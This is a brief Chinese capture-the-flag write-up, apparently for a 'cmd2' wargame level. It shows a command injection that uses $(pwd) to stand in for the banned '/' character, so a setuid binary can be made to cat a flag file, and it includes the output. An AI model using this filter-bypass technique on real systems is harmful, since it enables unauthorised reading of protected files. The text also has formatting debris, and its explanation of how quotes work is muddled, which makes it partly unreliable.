一、分析
1 |
|
二、思路
$()
可以将执行的结果插入到另一条命令中:1
2drinkwater@ubuntu:/$ echo $(pwd)
/既然限制了
/
,那么可以在根目录下使用$(pwd)
来代替/
,就像上面展示的一样1
2
3
4
5
6
7/$ /home/cmd2/cmd2 "\$(pwd)bin\$(pwd)cat \$(pwd)home\$(pwd)cmd2\$(pwd)fla*"
$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fla*
flag{cmd2_cmd2_cmd2}
drinkwater@ubuntu:/$ /home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fla*'
$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fla*
flag{cmd2_cmd2_cmd2}可以使用这两种不同的方式,主要是单引号和双引号的问题,双引号的单引号的作用基本一致,都是可以解决字符串中的空格问题,但是单引号在遇到命令替换
$()
不会剥夺字符的特殊含义,而双引号就会剥夺其含义;如果要使用双引号则可以在$
前转义一下。